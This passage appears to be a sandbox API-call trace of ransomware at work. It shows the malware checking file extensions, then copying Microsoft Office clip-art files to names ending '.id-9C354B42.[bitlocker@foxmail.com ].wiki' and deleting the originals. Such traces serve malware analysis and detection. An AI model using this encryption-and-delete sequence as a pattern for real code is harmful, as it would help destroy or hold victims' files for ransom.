lpString2=".WMF") returned 1 [0189.976] lstrlenW (lpString=".xlsx") returned 5 [0189.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.976] lstrlenW (lpString=".ppt") returned 4 [0189.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.976] lstrlenW (lpString=".zip") returned 4 [0189.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.976] lstrlenW (lpString=".rar") returned 4 [0189.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.976] lstrlenW (lpString=".bz2") returned 4 [0189.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.977] lstrlenW (lpString=".7z") returned 3 [0189.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.977] lstrlenW (lpString=".dbf") returned 4 [0189.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.977] lstrlenW (lpString=".1cd") returned 4 [0189.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0189.977] lstrlenW (lpString=".jpg") returned 4 [0189.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.977] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.977] lstrlenW (lpString="HM00172_.WMF") returned 12 [0189.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.977] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2832) returned 1 [0189.978] CloseHandle (hObject=0x1f8) returned 1 [0189.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0189.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.978] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.978] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.979] GetLastError () returned 0x0 [0189.979] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xb10, lpOverlapped=0x0) returned 1 [0189.981] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb20, lpOverlapped=0x0) returned 1 [0189.982] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.982] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.982] SetEndOfFile (hFile=0x218) returned 1 [0189.982] CloseHandle (hObject=0x218) returned 1 [0189.982] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.982] SetEndOfFile (hFile=0x1f8) returned 1 [0189.983] CloseHandle (hObject=0x1f8) returned 1 [0189.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0189.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.983] lstrlenW (lpString=".doc") returned 4 [0189.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.983] lstrlenW (lpString=".docx") returned 5 [0189.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.984] lstrlenW (lpString=".pdf") returned 4 [0189.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString=".xls") returned 4 [0189.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.984] lstrlenW (lpString=".xlsx") returned 5 [0189.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.984] lstrlenW (lpString=".ppt") returned 4 [0189.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.984] lstrlenW (lpString=".zip") returned 4 [0189.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.984] lstrlenW (lpString=".rar") returned 4 [0189.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString=".bz2") returned 4 [0189.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString=".7z") returned 3 [0189.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.984] lstrlenW (lpString=".dbf") returned 4 [0189.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.984] lstrlenW (lpString=".1cd") returned 4 [0189.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.984] lstrlenW (lpString=".jpg") returned 4 [0189.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.984] lstrlenW (lpString=".doc") returned 4 [0189.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.984] lstrlenW (lpString=".docx") returned 5 [0189.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.984] lstrlenW (lpString=".pdf") returned 4 [0189.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.985] lstrlenW (lpString=".xls") returned 4 [0189.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.985] lstrlenW (lpString=".xlsx") returned 5 [0189.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.985] lstrlenW (lpString=".ppt") returned 4 [0189.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.985] lstrlenW (lpString=".zip") returned 4 [0189.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.985] lstrlenW (lpString=".rar") returned 4 [0189.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.985] lstrlenW (lpString=".bz2") returned 4 [0189.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.985] lstrlenW (lpString=".7z") returned 3 [0189.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.985] lstrlenW (lpString=".dbf") returned 4 [0189.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.985] lstrlenW (lpString=".1cd") returned 4 [0189.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0189.985] lstrlenW (lpString=".jpg") returned 4 [0189.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.985] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.985] lstrlenW (lpString="HM00426_.WMF") returned 12 [0189.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.986] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=68776) returned 1 [0189.986] CloseHandle (hObject=0x1f8) returned 1 [0189.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0189.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.986] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.986] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.987] GetLastError () returned 0x0 [0189.987] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x10ca8, lpOverlapped=0x0) returned 1 [0189.991] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x10cb0, lpOverlapped=0x0) returned 1 [0190.289] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.289] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.289] SetEndOfFile (hFile=0x218) returned 1 [0190.289] CloseHandle (hObject=0x218) returned 1 [0190.289] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.289] SetEndOfFile (hFile=0x1f8) returned 1 [0190.290] CloseHandle (hObject=0x1f8) returned 1 [0190.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0190.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.291] lstrlenW (lpString=".doc") returned 4 [0190.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.291] lstrlenW (lpString=".docx") returned 5 [0190.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.291] lstrlenW (lpString=".pdf") returned 4 [0190.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.291] lstrlenW (lpString=".xls") returned 4 [0190.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.291] lstrlenW (lpString=".xlsx") returned 5 [0190.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.291] lstrlenW (lpString=".ppt") returned 4 [0190.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.291] lstrlenW (lpString=".zip") returned 4 [0190.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.291] lstrlenW (lpString=".rar") returned 4 [0190.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.291] lstrlenW (lpString=".bz2") returned 4 [0190.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.291] lstrlenW (lpString=".7z") returned 3 [0190.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.291] lstrlenW (lpString=".dbf") returned 4 [0190.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.291] lstrlenW (lpString=".1cd") returned 4 [0190.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.292] lstrlenW (lpString=".jpg") returned 4 [0190.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.292] lstrlenW (lpString=".doc") returned 4 [0190.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString=".docx") returned 5 [0190.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.292] lstrlenW (lpString=".pdf") returned 4 [0190.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString=".xls") returned 4 [0190.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.292] lstrlenW (lpString=".xlsx") returned 5 [0190.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.292] lstrlenW (lpString=".ppt") returned 4 [0190.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.292] lstrlenW (lpString=".zip") returned 4 [0190.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.292] lstrlenW (lpString=".rar") returned 4 [0190.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString=".bz2") returned 4 [0190.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString=".7z") returned 3 [0190.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.292] lstrlenW (lpString=".dbf") returned 4 [0190.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.292] lstrlenW (lpString=".1cd") returned 4 [0190.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0190.293] lstrlenW (lpString=".jpg") returned 4 [0190.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.293] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.293] lstrlenW (lpString="IN00957_.WMF") returned 12 [0190.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.293] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2944) returned 1 [0190.293] CloseHandle (hObject=0x1f8) returned 1 [0190.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0190.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.294] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.294] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.294] GetLastError () returned 0x0 [0190.294] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xb80, lpOverlapped=0x0) returned 1 [0190.296] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb90, lpOverlapped=0x0) returned 1 [0190.297] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.297] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.297] SetEndOfFile (hFile=0x218) returned 1 [0190.297] CloseHandle (hObject=0x218) returned 1 [0190.297] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.297] SetEndOfFile (hFile=0x1f8) returned 1 [0190.298] CloseHandle (hObject=0x1f8) returned 1 [0190.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0190.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.298] lstrlenW (lpString=".doc") returned 4 [0190.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.298] lstrlenW (lpString=".docx") returned 5 [0190.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.298] lstrlenW (lpString=".pdf") returned 4 [0190.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.298] lstrlenW (lpString=".xls") returned 4 [0190.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.298] lstrlenW (lpString=".xlsx") returned 5 [0190.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.298] lstrlenW (lpString=".ppt") returned 4 [0190.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.299] lstrlenW (lpString=".zip") returned 4 [0190.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.299] lstrlenW (lpString=".rar") returned 4 [0190.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString=".bz2") returned 4 [0190.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString=".7z") returned 3 [0190.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.299] lstrlenW (lpString=".dbf") returned 4 [0190.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.299] lstrlenW (lpString=".1cd") returned 4 [0190.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.299] lstrlenW (lpString=".jpg") returned 4 [0190.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.299] lstrlenW (lpString=".doc") returned 4 [0190.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString=".docx") returned 5 [0190.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.299] lstrlenW (lpString=".pdf") returned 4 [0190.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.299] lstrlenW (lpString=".xls") returned 4 [0190.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.300] lstrlenW (lpString=".xlsx") returned 5 [0190.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.300] lstrlenW (lpString=".ppt") returned 4 [0190.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.300] lstrlenW (lpString=".zip") returned 4 [0190.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.300] lstrlenW (lpString=".rar") returned 4 [0190.300] lstrcmpiW 